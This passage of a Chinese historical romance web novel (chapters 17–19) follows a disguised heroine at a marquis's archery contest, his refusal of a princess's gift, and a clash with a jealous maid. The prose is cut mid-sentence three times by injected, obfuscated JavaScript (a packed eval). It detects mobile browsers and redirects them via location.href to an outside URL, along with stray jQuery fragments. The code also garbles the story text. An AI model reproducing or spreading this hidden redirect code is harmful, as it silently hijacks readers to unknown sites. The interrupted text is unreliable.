陆砚舟竟未称她为小厮,而是抬了个身份,给她安了个门客的名头,这般,旁人倒也不敢太轻视了她。
“原来如此,郁公子想必才华斐然,才能得景义候青眼。”,佟却尘移步到她面前,浅笑着问道:“不知郁公子会不会射箭?”
“他会。”
顾初禾还未开口,陆砚舟便替她答了。
她下意识地回头看向陆砚舟,眼神中充满惊讶与慌张。
“侯爷…我…”
陆砚舟回给她一个安抚的眼神,示意她别慌。
他俯身附在她耳边,声音低沉又令人心安:“你不是会使弹弓吗?区别不大,我教你,一教就会。”
“您怎么知道,我会耍弹弓啊?”,顾初禾目光中满是疑惑。
陆砚舟的嘴角勾起一抹不羁的笑,带着几分洒脱,他长臂一伸,将手稳稳搭在顾初禾的肩头。
“回去再说。”
言罢,他就拉着她往靶场走去…
“来,试射几次。”,陆砚舟从身后包裹着她,他伸出修长有力的手,覆上顾初禾握弓的左手。
他边说边调整顾初禾的手势,手指轻轻挪移她手指的位置,接着,另一只手揽过她勾弦的右手,手臂肌肉紧绷。
他微微用力,弓弦发出细微声响。
“拉弓当用巧劲,放松。”
陆砚舟的声音低沉醇厚,在顾初禾耳畔响起。
感受着他环在自己身上的手臂,肌肉线条硬朗,顾初禾不自觉地脸颊微微泛红。
“别看我,看靶心。”,陆砚舟轻声提醒,气息吹拂在她耳畔,惹得她脖颈微微发痒,他却提起嘴角偷笑。
她依言专注靶心,可心跳如鼓,思绪纷乱,两人距离如此之近,仿佛能听到彼此的心跳。
“放!”,陆砚舟,一声令下,她立即松开手指,箭矢离弦而出,虽未正中靶心,却也没脱靶。
“第一次射箭就能有这般成果,已经很不错了,再接再厉。”,陆砚舟微笑夸赞鼓励。
顾初禾点点头,不敢回过身与他对视。
这一回,陆砚舟没再帮她把着弓弦,完全由她自己发挥。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556913|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
出奇的,这次倒比上次更准了。
接连试了二三十次,射击比试即将开始。
佟却尘搭箭上弦,利箭“嗖”地射出,正中靶心,周围响起一阵喝彩,他得意一笑。
接着又有几位上场,虽各有风采,但稍显逊色,并未射中红心。
轮到陆砚舟时,他拿起弓箭,动作娴熟流畅,拉弓如满月,箭似流星般射出,稳稳命中靶心,力度与准度皆令人赞叹,众人纷纷叫好。
最后,轮到顾初禾了。
这时,场边有几个聒噪的声音传入她的耳朵…
“这是谁呀,怎么没见过?”
“好像是景义候带来的,说是门客,可我瞧着他那畏畏缩缩的模样,一看就没见过世面,还没我府上的小厮气派…”
“是啊,瞧他那小身板儿,风一吹就倒了,还能射箭?”
这些话,顾初禾全都听见了,她闭了闭眼,不想丢脸,也不想给陆砚舟跌份儿。
她深吸一口气,摒弃杂念,睁开眼,猛地松开弓弦,利箭向着靶心飞去。
在旁的众人都瞪大了眼睛,只见那支箭竟稳稳地射中了靶心,力度和准度丝毫不输那些权贵公子。场中瞬间安静下来,随后爆发出一阵热烈的掌声和惊叹声。
陆砚舟看向她,勾唇一笑,眼中满是骄傲与自豪。
那些原本轻视顾初禾的人,此刻也纷纷投来敬佩的目光。
比试的规则,是每人可射十发箭,谁先射中靶心,且次数最多者获胜。
此次拔得头筹的奖励是一只玉雕的翠鸟型口哨,先前那个花瓶陆砚舟没拿,这回这个玉哨他倒是看上了,且志在必得。
“嗖”的一声,利箭破风而去,精准无误地扎入靶心。紧接着,他动作不停,第三箭,第四箭……一气呵成,十支羽箭接连离弦,箭箭皆中红心。
一时间,周遭鸦雀无声,唯有箭矢入靶的闷响,声声入耳。
陆砚舟松开弓弦,那修长有力的手指还残留着拉弦的余劲。
佟却尘等其他几位才刚射出第四,第五箭,顾初禾更是连第二箭还没射呢,陆砚舟已经终结了比试…
他微微仰头,嘴角勾起一抹弧度,眼眸中熠熠生辉,“诸位,承让了。”
众人一看没希望了,纷纷丢下弓箭,垂头丧气地回了坐席。
这时,一直在旁观战的的连卿长公主款步而来。
她的身后跟随着六名婢女,两两成行,亦步亦趋,个个都姿容出众。
可即便如此,长公主的风采却依旧将她们衬得黯淡无光。
长公主一袭红衣,眉眼间的矜贵与从容与生俱来,朱唇轻抿,笑意浅浅。
明媚又夺目,任谁的目光,都会不由自主地被她吸引。
“陆祳哥哥当真是技压群雄,令人钦佩。”
说罢,连卿长公主亲手为陆砚舟递上象征胜利的玉哨,指尖不经意间触碰到他的手。
陆砚舟神色平静,不慌不忙地拱手作揖,微微欠身,保持着恰到好处的距离。
“长公主过誉了。”
连卿是先帝最小的女儿,她也是当今陛下的妹妹,虽不是一母所生,但感情甚笃。
陛下对她厚爱有加,下个月才是她十六岁的生辰,但阖宫上下早已为此奔忙不歇。
她算是陆砚舟看着长大的,年幼时常在一起玩耍,可自打他成年后,陆砚舟深知男女有别,便逐渐疏远了,只以礼相待,并不过分亲近。
“陆祳哥哥,你在外征战多时,我和皇兄都很挂念你。我还准备了一份礼物,准备除夕夜宫中设宴时赠予你的,不料你却病了。”
连卿的脸上带着温婉娇羞的笑意,玉手一抬,便有婢女恭敬地捧着一个托盘走上前来。
“今日我特意带了来,你看看喜不喜欢。”
陆砚舟垂眸,只见托盘上整齐地叠放着一件华贵披风,是以珍稀的蓝狐皮毛制成,毛质柔软顺滑保暖,实属佳品。
“承蒙公主垂爱,陆祳感激不尽。只是如今已是春日,天气渐暖,这礼物实在不便收下。”
他不卑不亢,声音沉稳,语气恭敬却不失分寸,周身散发着清冷气息。
连卿闻言,眼中闪过一丝失落,却仍不死心,又道:“那你就留着冬天再穿嘛!”
小女儿的心思,陆砚舟已然猜得个六七分,但他无意做驸马,只好装聋作哑,故作不解风情。
“长公主美意,陆祳铭记于心,只是家母一心向佛,时常劝诫我莫要杀生。为替家母积善积德,这披风怕是无论如何也穿不上身了,还望谅解。”
顾初禾在一旁听了直想发笑,硬掐着手背忍住了。
陆砚舟在战场杀敌无数,他不杀生,他积德…这怎么听,都像个笑话。
连卿见他当着那么多人的面,死活都不肯收下,她面子挂不住,双颊通红,气得拂袖而去。
17. 像她 回府的马车上
回府的马车上
顾初禾时不时偷瞄一眼陆砚舟,咬着嘴唇欲言又止…
“有话就说,也不嫌憋得慌。”,陆砚舟背靠在车壁上,漫不经心地说着。
她嘿嘿一笑,试探地问道:“侯爷,长公主殿下对您青睐有加,您为何拒之千里呀?”
马车经过石板桥,顾初禾随着颠簸左右摇晃,她下意识伸手紧紧抓住车窗边缘,可马车晃动得实在厉害,她的身子仍止不住地倾斜,眼看就要摔倒。
陆砚舟见状,身体向前一倾,稳稳扶住她的胳膊。
她惊愕地抬眸,与陆砚舟对视上了。
他的脸上虽是一贯的清冷孤高,可眼底却藏着一丝不易察觉的关切。
下了石板桥,陆砚舟缓缓松开了手,手臂收回到自己的身侧,他轻捻手指搓磨掌心,嘴角微微上扬。
“她是皇室,是君,我是臣。”,他清了清嗓,一本正经地回答顾初禾刚才的问题。
“君臣之道,在于尊卑有序。”
顾初禾才不信他的胡扯,当场就拆穿了他的谎言,笑道:“是吗?尊卑有序…那您是主,我是仆,咱不也坐在同一辆马车上吗?”
她内心嘀咕:“我看你是最不在乎什么地位尊卑的…”
陆砚舟说不过她,就打算以权势“压人”,他昂起下巴,挑眉道:“要不,你走回去?”
此处距离侯府还远着呢,若是下车步行,怕是天黑透了都到不了,她可不想累死自己。
“啊?别别别,侯爷,我多嘴了。”
见她谄媚的嘴脸,陆砚舟不仅不厌恶,反而觉得好笑。
他抬起胳膊当枕头,靠在马车上,慢慢合上眼,“除了这个,没有想问的了?那我睡了,到了叫我。”
“等等…”
她歪着头,好奇问道:“侯爷,我会耍弹弓这件事,您到底是怎么知道的呀?”
陆砚舟确实有些乏了,一整天都在跟那些权贵打嘴仗,斗智斗勇,累得慌。
他闭着眼,缓缓说道:“上元节那日,你在街头赢了那风筝,我在不远处瞧见了。”
说起那天的情景,陆砚舟仿佛又回到了那一刻,由衷地赞了她一声:“你不仅弹弓耍得好,还有几分小聪明,能及时辨出那个摊主心里有鬼,我便出手帮了你一把。”
顾初禾闻言愣了片刻,她说那骗子怎么好好的就从房顶摔下来了呢,原来是陆砚舟路见不平帮了一手。
“几日前,我与几位副将在山间狩猎,偶闻异声,这才救下了你。”
陆砚舟轻描淡写的几句话,就将他的善心善行轻轻带过了,既没打算向顾初禾邀功,也不图回报。
但顾初禾不能堂而皇之的接受他的救助,就算拿不出什么像样的谢礼,好歹也要发自内心地,恭恭敬敬地深谢他一句。
“多谢侯爷仗义出手,小人铭记在心。”
陆砚舟缓缓睁眼,他嘴角噙着一抹似有若无的笑,漫不经心地抬手,自胸口的衣襟里掏出那只做工精美的玉哨。
他随手一丢,那玉哨在空中划过一道弧线,稳稳落在顾初禾的掌心。
“这个,给你了。”
他语气随意,只是顺手为之。
“给我?”,顾初禾受宠若惊,双手捧着玉哨,不可置信地看着他,“侯爷,这是可您赢来的…”
“我要这玩意儿有什么用,那个佟却尘的胞姐是当今皇后,仗着这层身份,一直鱼肉百姓,张狂霸道,我早就看他不顺眼了。”
陆砚舟性子耿直,就连皇后的母族也不放在眼里,相反这些世家大族如今还得来巴结他,才能知道陛下的心中在想些什么。
“我之所以要争一争,一来是不想让他顺心如意,二来不过是压压他身边那几个毛头小子的气焰罢了。”
“你拿着这玉哨,若下次再遇到什么危难,不妨试着吹响它,或许会有人听见,能赶过去救你一条小命,如此,也不算辜负了这玩意儿。”
他随口一说,东西是想送就送了,似乎没旁的意思。
可顾初禾这些年在外漂泊,遭受了太多冷眼和偏见,她总觉得每得到一样东西,都是需要用别的东西去交换的。
除了郁春琅,几乎没有人无条件的关心她照顾她,陆砚舟是第二个。
尽管玉哨就握在自己掌心里,她还是觉得不太真实。
她鼓起勇气问道:“侯爷,您为何对我这么好?”
陆砚舟的眼眸中快速扫过顾初禾的眼睛,接着又看向别处,神色严肃地说道:“不瞒你说,四年前我曾落难,是一位少女救了我,你与她眉眼间有几分相似。”
顾初禾没想过答案会是这个,她有些慌了神,眼神飘忽不定,许久后才强装镇定地问道:“那,那位少女的姓名身份,身在何处,您知道吗?”
“四年前发生了太多事,人人都身不由己,我当时被绊住了脚,无力去寻她。至今也机会没报恩,但或许没有消息,就是最好的消息。”
陆砚舟说话模棱两可,叫人难以分辨他言语中哪句真哪句假,重点是什么。
他勾起嘴角,伸出食指轻轻戳在她的眉心,看似无心,实则发自肺腑地说道:“算你走运,有几分像她,我如今对你好些,也盼着旁人能对她好些。”
“像她…”,她将这两个字在心中反复念着,她没想到陆砚舟竟然真的还记得自己,仅仅数面之缘,他就记住了她的眼睛,且一直将当年的恩情记在心里。
顾初禾的心跳陡然加快,她的脸颊瞬间泛起红晕,蔓延至耳根,连耳尖都微微发烫。她下意识地咬了咬下唇,手指不自觉地抓紧了那只玉哨。
而陆砚舟似乎真的困乏了,对话还没结束,就靠在车上睡着了。马车一路颠簸他都没醒,直到行至侯府大门,他才伸个懒腰跳下马车。
刚进门,管家就说白忱回来了,正在书房等候。
顾初禾在侯府待了几天都没见到过白忱,她也疑惑过为何他一次面都没露。
直到昨日午后,在花园偶闻两名侍女闲聊,她才得知原来陆砚舟的母亲去了天福寺清修,是白忱一路护送的。
书房内
陆砚舟刚一跨进门槛,白忱便转身行礼。
“禀侯爷,属下已将老夫人平安送达。”
“辛苦了。”,陆砚舟几步走到书案后坐下,又示意白忱随意些。
顾初禾小跑都没跟得上陆砚舟的步伐,等她到了书房门口,发现他们已经将门关上了,显然是有什么秘事不便被人听见。
她刚入府不久,自然不能做出异样的举动引人怀疑,尽管她很想扒墙脚偷听一会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556914|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿,但还是识趣的回了自己的房间。
侯府分有东西两院和正堂,陆砚舟住东院,书房也在那边,日常处理公务,接待宾客都在东院。
老夫人原本也住东院,但她嫌上门来巴结的宾客太多,繁琐不说,还扰她清净,便搬到了西院居住。
如今她去了天福寺清修,屋子虽是空着的,却也每日都有人洒扫整理。
下人们在西院后头的一处小院落群居,说不上雕梁画栋,可每一间都修葺得极为齐整,窗明几净。
屋内床铺虽简单,却铺着崭新的被褥,散发着淡淡的皂角清香。
显然,陆砚舟没有苛待下人的习惯,为人还算和善。
至于顾初禾,她刚被救回来的时候,就被安排在西院的一间客房内,穿过一条回廊便是陆老夫人的屋子,不近不远。
她原以为自己病愈后,陆砚舟就会命她挪去和其他小厮杂役一起居住,她还曾担心过自己和一群男人住在一块,会不会暴露女子身份。
可陆砚舟一直都没有提出让她挪窝,偌大的房间就她一个人住着,吃喝有人送进房里来,就连衣裳都有人收走清洗,洗净了再叠好送来。
这样的厚待,实在让她受宠若惊,也担心长此以往会引起旁人的反感,既然同为下人,为何她不用干活就能住得好,吃得香。
她脱了外裳,躺在榻上发呆,心想陆砚舟虽然没有认出自己,却仅凭一双眼睛就对自己这样好,当初真是没白救他。
正出神时,一阵轻盈的脚步声缓缓靠近。
伴随着几声叩门声,门外传来云翠的声音。
多年前陆老夫人还在宫里当差时,云翠就跟在她身边了。
后来新帝登基,感念乳母多年来的照料,封了陆老夫人诰命,又将云翠赐给她。
云翠原是宫女,需得满二十五岁才能出宫,如今得了恩赏,才十九岁就成了侯府的一等侍女,月钱和赏赐都是头名儿的,府中之人无不艳羡。
陆老夫人去天福寺之前,将云翠留下伺候陆砚舟,必然是存了私心的,她想儿子收了云翠做通房。
陆砚舟一直以来都对男女之事不甚在意,一心扑在打仗和朝堂上,为母之人岂不忧虑。
她便想着让云翠侍候在侧,二人鱼水之欢后,陆砚舟尝到了甜头,说不定就会生出娶妻之意。
云翠对老夫人的心思也是一清二楚的,她也盼着陆砚舟早日娶妻,再将她抬为妾室,若是再能生下个一儿半女,这辈子也就有指望了。
无奈,这些时日以来她软语逢迎,悉心照料着陆砚舟,可他像个木头似的无动于衷,别说与她调情逗笑,就是多看两眼都很吝啬。
云翠心中不平,认为顾初禾不过是个深山里捡回来的臭男人,凭什么病一好就能跟着侯爷出门会客,还一人独居这么好的客房。
云翠还趁着陆砚舟出门时偷偷打听过,得知她居住在城郊,姓郁,家中还有两个妹妹。
三妹年纪尚小,还不足十岁。
可二妹郁春琅却出落得亭亭玉立,且尚未婚配。
她愤懑不已,总怀疑顾初禾使了什么见不得人的招数,将陆砚舟给迷住了,甚至怀疑顾初禾计划让郁春琅入侯府勾引侯爷。
她担心自己地位不保,因此特意来给顾初禾一个下马威。
18. 贴近
顾初禾打开房门,一脸惊诧,“云翠姑娘?”
“郁先生,我不请自来,没有打扰你休息吧?”,云翠倒也还算客气,没有一进门就撕破脸。
她甚至在没有得到允许前,都没有跨进门槛。
“没有没有,云翠姑娘找我有事?”,顾初禾向后退了几步,让出道来,请她进屋说话。
云翠嘴角含笑,眼中却满是轻蔑和嫌弃。
“也没什么要紧事,只是来问问郁先生在我们侯府住得还惯吗?”
她自称我们侯府,就好似景义候府是她的府宅一般,已然将自己当成了后宅的主人。
顾初禾听出了她话锋中的讥讽意味,却也不想惹是生非,于是有意隐忍退让。
她谦卑地笑着答道:“侯爷胸怀韬略,宽仁待人。在下出身寒门,却蒙侯爷不弃,不仅给了我一条谋生之路,还赐我雅居,此等大恩,在下必将尽忠以报。”
“侯爷深受陛下器重,侯府更是御赐,雕梁画栋别具一格,就连这间客房的摆件挂画都有来历有出处,侯府的富贵,可不是什么阿猫阿狗都高攀得起的。”
云翠说着,自下而上轻扫了顾初禾一眼,向前几步,走到她身旁,在擦身而过的瞬间,假装不是故意的撞向她的胳膊。
顾初禾被她撞到,踉跄了两步,又很快站稳。
“例如这幅樗山烟雨图,那可是书画名家宋大师临终前的遗作,多少世家豪族对这画垂涎不已,最终还是落到了侯爷的手里。”
“终究,侯爷就是与众不同,旁人再难得到的东西,只要他想要,便是陛下也会想法子帮他弄来。”
云翠话里有话,句句带刺,无非就是提醒顾初禾要记住自己的身份,不要妄想攀附侯爷。
“郁先生出身农家,或许能激起侯爷一时之兴,可时日长了,话不投机,侯爷早晚会倦的…”
顾初禾好端端的站着,没招谁没惹谁,却被她故意撞疼了胳膊,连声歉意都没听着,本就憋了火了,现下又听了她这顿夹枪带棒的教训,更是怒意汹涌。
“云翠姑娘说得不错,侯爷的确与旁人不同,可旁人只能看见这幅画的名贵罕见,却看不出侯爷向往山间清朗之气,痛恨朝堂的波诡云谲。”
顾初禾她原以为自己以礼相待,对方也能和和气气的说话,却不想自己的忍耐退让,反而招来更大的恶意,那她也就没必要吃这些个哑巴亏了。
她稳步走到山水图前,哼笑了一声,又道:“况且,这幅画并不是宋大师的真迹,而是后人临摹。云翠姑娘伺候侯爷这么久,竟连真假也不能辨,怕是要在侯爷面前闹笑话的,这才是真正的话不投机。”
“你胡说什么,侯爷是什么身份,怎么可能在客房挂一幅假画!若传出去,岂不是叫人笑掉了大牙!”,云翠从前在宫里也跟过几位得宠的妃嫔,房中的珍宝挂饰见过不少,耳濡目染的也略会鉴赏些书画瓷器,只是不甚精湛。
而顾初禾好歹也在当铺做过好些日子的账房,什么古玩字画,珠宝摆件都见得多了,日日和这些赏玩之物打交道,对它们的价值颇为了解,甚至对宝物的真假辨别也相当精通。
她既然有底气说这幅画是临摹的,必是早就看出了有误之处。
“宋大师于祐宁十二年逝世,他临终前的画作,落款处都留有自己亲笔所写的樗山居士四字,这是宋大师用了近三十年的道号。”
她指着这画的落款处,神色平静地用事实证明自己并非信口胡说,“而这幅画的落款是祐宁十四年,那时宋大师已西去两年之久,哪里还能作画?且这幅画作的落款处并无他的道号,只盖了印章,即使临摹得再怎么相似,也绝非真迹。”
“你…”,云翠自觉小看了顾初禾,没想到“他”真有些才能,后悔自己方才言语不当,此刻丢了脸面。
“云翠姑娘,我原以为您是从宫里出来的,应该比我这寒门之子多些见识,却不想…您连幅画的真假都看不出来。您只顾着为侯爷煮茶铺床,闲暇时还是该多读些书,若有不懂之处也该及时向他人讨教才是。不然若是丢了侯府的颜面,或是让侯爷觉得和您话不投机,那可就得不偿失了。”
顾初禾将她讥讽自己那几句话,又反将了回去,看着她那张羞愤到发胀的脸,心中只觉得畅快!
云翠被激得又愧又臊,恼羞成怒,咬着后槽牙骂道:“你算个什么东西,也配教训我!?”
她杏眼圆睁,怒容满面。只因方才顾初禾戳中了她的痛处,令她下不来台。盛怒之下,她一把抓起桌上的茶壶,卯足了劲朝顾初禾砸去。
顾初禾没想到她这么蛮横,竟然敢在侯府动手伤人,幸好她反应极快,听到风声,身形一闪,侧身便躲开了。
那茶壶擦着她的衣角飞过,“砰”的一声,在身后的墙上摔得粉碎,茶水溅得到处都是。
云翠见一击未中,更是恼羞成怒,双手一伸,又抓起两只茶杯,狠狠砸向顾初禾。
这一下来得又急又猛,顾初禾躲避不及,慌乱中只能躲到桌子底下。
茶杯砸在桌面上,发出清脆的声响,碎片飞溅,她吓得瑟瑟发抖,心中暗自叫苦。
云翠却不肯罢休,绕过桌子,还想继续发难。
“闹什么!”
就在这千钧一发之际,一道熟悉的身影快速闪进屋内,陆砚舟的声音如洪钟般响起,带着不容置疑的威严。
云翠的动作瞬间僵住,满脸惊恐地伏地跪拜。
陆砚舟几步上前,将躲在桌子底下的顾初禾拽了出来,目光冰冷地看向云翠。
“侯爷…”,顾初禾得救了,却还是战战兢兢。
“云翠,我让你去库里找出几匹缎子,好给母亲裁制夏衣,你可找着了?”,陆砚舟的眼神似刀锋般锐利,阴气沉沉地盯着她。
云翠自知理亏,不仅罔顾侯府的规矩,无故跑来挑衅顾初禾,还撒泼动粗,此举是犯了大忌。
她额头贴地,身子和嗓音都微微颤抖,“回侯爷,奴婢已让穗澜和穗馨去找了…”
陆砚舟瞥见墙角的瓷片,眉头瞬间拧紧。
他的眼神瞬间冷了下来,周身散发着令人胆寒的气息。
“本侯让你去找,你倒是会给自己省事,转头就指派了旁人。”
云翠从他的语气中听出是真动了怒了,她先前的嚣张气焰,此刻已完全熄灭。
她跪在陆砚舟的膝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556915|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下痛哭求饶,拼了命的磕头认错,“奴婢知错了,还请侯爷宽恕一次。”
“缎子的事也便罢了,但你与郁初禾男女有别,外头天都黑了,你跑来他房中做什么?”
陆砚舟长腿一伸,用脚轻轻勾住一旁的圆凳,借力一拉,凳子滑至身后,他顺势稳稳坐下,身子微微后仰,目光如炬,带着审视意味挑了挑眉,“既说不出来,那便是心里有鬼了,难不成你是看上他了?”
说罢,他还回过身看了一眼顾初禾,顾初禾连忙摆手。
“侯爷,奴婢怎会生出这等心思!老夫人临走之前吩咐奴婢,要对府中的人和事多加留心,奴婢也是听命行事…”
云翠闻言,急忙仰起头为自己辩解,她是真的慌了,竟伸手去扯陆砚舟的衣袖,又借此机会表明心迹。
她声音娇柔又带着几分羞涩,脸颊泛红,微微抬眸,眼中满是期待地说道:“况且,奴婢从入府以来眼里心里就只有侯爷您,奴婢在您身边侍奉许久,心中早已倾慕于您,不求名分,只求常伴在您身侧……”
陆砚舟闻言并未心动,反而眼中闪过一丝疏离,用力扯回了自己的衣袖,俯身告诫道:“云翠,你可别口无遮拦失了分寸。”
这话一出,便是表明了陆砚舟不仅没有收她为妾的意思,甚至都没打算让她在侯府久留。
看着陆砚舟这般严厉的神情,顾初禾心中一紧,不自觉地往后退了半步,双手下意识地揪紧了衣角,眼中闪过一丝畏惧。
陆砚舟平日里对待下人甚是温和,这般盛怒的模样,顾初禾还是头一回见。
可转瞬之间,她眼中的畏惧又化作了钦佩。
云翠听了,脸上的红晕瞬间褪去,取而代之的是一片惨白,眼眶也微微泛红,她咬着下唇,委屈地点点头,声音带着哽咽:“侯爷教诲,奴婢记下了,是奴婢僭越,往后绝不再提。”
“你无故生事,还砸碎了老夫人亲自挑选的壶具,便罚你一个月的月钱,降为二等女使。日后若再犯事,可就别怪本侯不留情面,只好将你发卖了。”,陆砚舟念在她是陛下赏赐的宫女,又陪在他母亲身边多年,终究还是要给她留有一丝体面,便小惩大戒。
“是,奴婢日后必定谨守本份,再不生事了。”
云翠眼中含泪,磕头如捣蒜,接着退了下去。
房中只剩下顾初禾与陆砚舟两人时,他突然站了起来,转身走到了她的眼前。
顾初禾仰头,对上了他深邃的眼眸。
陆砚舟步步紧逼,她下意识地连连后退,直至后背抵上冰冷的墙壁,退无可退。
两人之间,仅剩下一拳的距离…
他站在她面前,足足比她高出一个头还多,他眼眸向下,俯身紧紧盯着她,眼神中,有愤怒,有疑惑,更藏着一抹不易察觉的欣赏。
此时,微风悄然拂过,吹得窗户“吱呀”作响,更搅乱了顾初禾的心绪。
她的心砰砰直跳,脸颊也在瞬间变得滚烫。
慌乱之下,她抬手用力推开了陆砚舟,别过头去,声音中还带着一丝颤抖:“侯爷,你…你靠得太近了!”
陆砚舟微微一愣,随后嘴角勾起一抹意味深长的笑意。
19. 喝酒
陆砚舟直起身来,目光却依旧牢牢锁在顾初禾身上。
“你胆子究竟有多大,你知不知道这幅画是御赐的?”
他抬手指着那幅樗山烟雨图说道。
顾初禾瞬间凝眉,腿都有些软了,要不是背靠着墙,只怕就这么摔下去也说不定。
她颤着下巴,眼中满是惧色,“御…御赐?!”
“就连陛下都没看出这画是赝品,你倒是卖弄起来了,是想传出去,让全天下的人都知道你比陛下还有能耐?”,陆砚舟歪着头看向她。
他这话是实打实的在吓唬她,陛下当然知道这画是假的,虽是临摹,也是出自宫中的画师之手,山势雄浑,水流灵动全然再现,细节之处更添几分韵致,足见功底扎实深厚。
陛下最爱这幅画,便让画师临摹了四五幅,这幅是最传神的。
而原作,已经归还于宋大师的后人手中。
“我没有…”,顾初禾不知道他是在吓唬自己,还以为自己真的无意间得罪了天子,吓得浑身直冒冷汗,上下牙齿因恐惧而颤动碰撞,发出声响。
“不不不,小人没有。”
陆砚舟看她抖成那样,也是不忍心再恫吓她了,便憋着笑提醒她道:“无论真假,御赐就是珍品,即使看出它有问题,也得装傻装到底,否则祸从口出,真惹出什么事来,我也救不了你。”
“是,小人知道了。”
话音刚落,屋外又传来一阵急匆匆的脚步声。
还未等顾初禾从惊慌中缓过神来,便听见白忱迈进门槛,大喊道:“侯爷,您怎么上这儿来了,害我一顿好找。厨下已将饭菜都备好了,我刚从奉州带回来的好酒也启开了,去用饭吧?”
陆砚舟闻声移开脚步,露出墙角失了神的顾初禾。
白忱见了她,惊诧地缩了缩脖子,问道:“哎?小兄弟你怎么在这?”
还不等顾初禾回话,陆砚舟率先开口,疑惑地看向白忱,“认识?”
“认识啊,那日在胭脂铺子,我正犯愁该买哪个香粉好呢,就是这位小兄弟帮我拿定了主意。”,白忱乐呵呵地朝着顾初禾走去,抬起手自以为没用力,实则疼死人不偿命地拍了拍她的肩膀。
顾初禾差点被他拍吐血,三魂七魄都拍飞了。
她揉了揉肩膀,恭敬地行礼,笑着道:“不知白指挥使的礼送出去没有?那位长辈可还喜欢?”
白忱眼神一瞥,肘弯拱了拱陆砚舟的胳膊,“那就得问咱们侯爷了。”
听到这,陆砚舟才听明白了他们相识的过程。
不知怎的,今日他很是有耐心,要换作平常,才懒得开口解释什么。
他双手背在身后,不急不躁地说给顾初禾听,“正月十六,是家母生辰,家母不喜奢靡,倒是对香料十分喜爱。听说京城最负盛名的胭脂铺又添了几样新品,白忱便去挑了来。”
“原来是送给老夫人的,小人三生有幸。”,顾初禾在提到陆老夫人时微微躬身,以示尊敬。
可转念一想,又疑惑老夫人怎么刚过完生日宴,就启程去了奉州。
她忍不住,问道:“那,老夫人为何要去天福寺?”
“家父去世后,是在天福寺超度的,之后几年的法事,也一直由天福寺的僧人主持,今年,家母想亲自去寺庙内修行一些时日,以表追思。”
提起父亲,陆砚舟的眼中总是充满思念与悲戚。
片刻后,他缓过神来,看了一眼白忱,见白忱的神色黯淡了下来,便转了话锋,道:“酒菜既已齐备,那用饭吧。”
白忱双手抱拳,再次恢复成傻乐的憨笑模样,“得嘞!”
陆砚舟与他并肩而行,转身往房门外走。
就在这时,顾初禾的肚子也不争气的叫唤了起来。
“咕咕咕……”
她尴尬地低下了头,咬唇捂着肚子。
陆砚舟与白忱对视一眼后,回身对她道:“算你有口福,一起去吧。”
顾初禾闻言,脚步不自觉上前,但很快又退了回去,恭敬道:“这…小人不敢。”
“你连陛下都敢冒犯,吃顿饭反而不敢了?”,陆砚舟哼笑了一声,眯着眼睛警告她,“少在那惺惺作态了,这顿不吃,也没人给你做宵夜,你打算饿着肚子睡觉?”
话都说成这样了,顾初禾也不装了,管他什么规矩礼教上尊下卑的,先填饱肚子要紧。
“那,多谢侯爷赐宴。”
夜色笼罩着景义侯府,回廊的灯笼照亮前路,顾初禾跟在他二人身后,往饭厅走去。
尚未踏入饭厅,一阵诱人的香气便扑鼻而来。
她的脚步顿住,鼻尖轻颤,狠狠吸了吸这勾人的味道,腹中也适时又传来一阵轻微的“咕咕”
声。
她脸颊一红,下意识地抬手掩住嘴,又悄悄咽了咽口水,生怕被他们察觉这份窘态。
陆砚舟似有所感,回头看她,嘴角微微上扬。
两名侍女推开饭厅大门,顾初禾抬眸望去,只见一张乌木长桌摆满佳肴,足有十几道菜,荤素搭配,摆盘精致。
鲜嫩的清蒸鲈鱼,鱼身划着整齐刀花,点缀着翠绿葱丝。红亮的红烧肉方方正正,每一块都仿佛饱含着醇厚的肉香。
一旁,玉壶中盛着美酒,酒香与菜香交织,更添几分诱人气息。
白忱拉过椅子,示意陆砚舟坐下,笑着说:“侯爷,这可都是厨娘们的拿手菜,快尝尝,可还合你口味?”
说罢,他又拉着顾初禾坐在自己身侧。
一张十人可坐下的圆桌前,只坐了他们三人,看着有些空旷寂寥,幸好有满桌的佳肴色泽鲜亮,也算温暖些许。
陆砚舟拿起筷子,夹起一块鱼肉放入口中,鲜嫩爽滑,瞬间在舌尖化开,满意地点了点头。
“侯爷,小人给您满上。”,顾初禾十分有眼力见地站起身,帮陆砚舟和白忱倒酒。
她神情严肃地装满了陆砚舟那杯,转身就笑容满面地给白忱倒酒。
白忱也笑颜以对,右手举起酒杯,左手托着杯底,丝毫没有因为她的出身微寒,就冷眼相待。
这两人颇有股一见如
